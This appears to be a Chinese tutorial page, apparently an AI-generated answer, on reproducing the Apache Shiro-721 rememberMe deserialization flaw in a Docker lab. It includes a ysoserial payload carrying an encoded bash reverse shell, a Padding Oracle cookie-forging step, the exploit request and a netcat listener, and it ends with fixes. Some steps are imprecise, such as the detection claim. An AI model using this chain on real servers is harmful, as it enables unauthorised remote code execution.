shiro721漏洞复现过程
时间: 2025-04-12 15:16:28 浏览: 60
<think>好的,用户想了解Shiro721漏洞的复现步骤。首先,我需要回忆一下相关的知识。根据提供的引用内容,特别是引用[2]和[4],Shiro721影响版本是Apache Shiro <=1.4.1。复现步骤通常包括环境搭建、利用漏洞获取权限、编写或使用Payload等。
首先,环境搭建部分,用户需要Docker来拉取镜像并运行容器。引用[2]提到使用vulfocus/shiro-721镜像,所以需要确认正确的Docker命令。然后,漏洞利用需要生成恶意Cookie,通常涉及反序列化攻击。但Shiro721与Shiro550不同,它需要有效的Cookie并通过Padding Oracle攻击来加密Payload,因此可能需要特定的工具,比如shiro-exploit工具箱或者手工构造Payload。
用户可能还需要了解如何检测漏洞是否存在,比如发送一个无效的RememberMe Cookie并观察响应是否有特征。此外,反弹shell的步骤需要生成Payload,可能使用ysoserial或类似工具生成,然后通过工具加密并构造请求。
需要注意的是,复现漏洞需要一定的网络安全知识,确保在合法授权环境下进行。同时,引用中提到的工具如shiro-exploit可能需要从GitHub获取,用户需要安装相关依赖,比如Java环境。
可能的问题点包括Docker环境是否正确启动,Payload生成是否正确,加密过程是否无误,以及如何判断攻击是否成功。此外,用户可能对漏洞原理感兴趣,比如为什么Padding Oracle攻击可以在这里利用,或者如何修复该漏洞。因此,在回答中需要分步骤详细说明,并提示安全注意事项。</think>### Shiro-721漏洞复现步骤详解
#### 一、漏洞简介
Shiro-721是Apache Shiro框架中的反序列化漏洞,影响版本为**Shiro <=1.4.1**。攻击者通过构造恶意RememberMe Cookie,利用Padding Oracle攻击加密反序列化Payload,最终实现远程代码执行[^2][^4]。
#### 二、环境搭建
1. **拉取Docker镜像**:
```bash
docker pull vulfocus/shiro-721
```
2. **启动容器**:
```bash
docker run -d -p 8080:8080 [镜像ID]
```
访问`http://localhost:8080`,使用默认账号`admin/admin`登录[^4]。
---
#### 三、漏洞验证
1. **检测RememberMe功能**:
登录后查看Cookie是否包含`rememberMe=deleteMe`字段,确认Shiro是否启用该功能。
2. **发送无效Cookie测试**:
使用Burp Suite修改请求,替换`rememberMe`值为无效Base64字符串(如`123`),若响应包含`rememberMe=deleteMe`,则存在漏洞[^3]。
---
#### 四、漏洞利用(以反弹Shell为例)
1. **生成Payload**:
使用`ysoserial`生成反弹Shell命令:
```bash
java -jar ysoserial.jar CommonsBeanutils1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}" > payload.bin
```
**注意**:替换IP和端口为攻击机地址。
2. **加密Payload**:
使用`shiro-exploit`工具加密Payload,需提供有效的RememberMe Cookie和攻击目标URL:
```bash
java -jar shiro-exploit.jar http://localhost:8080/login [有效Cookie] payload.bin
```
工具会自动通过Padding Oracle攻击生成加密后的恶意Cookie。
3. **发送恶意请求**:
将生成的Cookie替换到请求头中,触发反序列化漏洞:
```http
GET / HTTP/1.1
Host: localhost:8080
Cookie: rememberMe=[加密后的恶意Cookie]
```
4. **接收反弹Shell**:
在攻击机使用Netcat监听:
```bash
nc -lvnp 8888
```
成功获取目标服务器Shell[^3]。
---
#### 五、修复建议
1. 升级Shiro至**1.4.2及以上版本**;
2. 配置`securityManager.rememberMeManager.cipherKey`为随机密钥;
3. 禁用RememberMe功能(非必要场景)[^4]。
---
阅读全文
相关推荐
















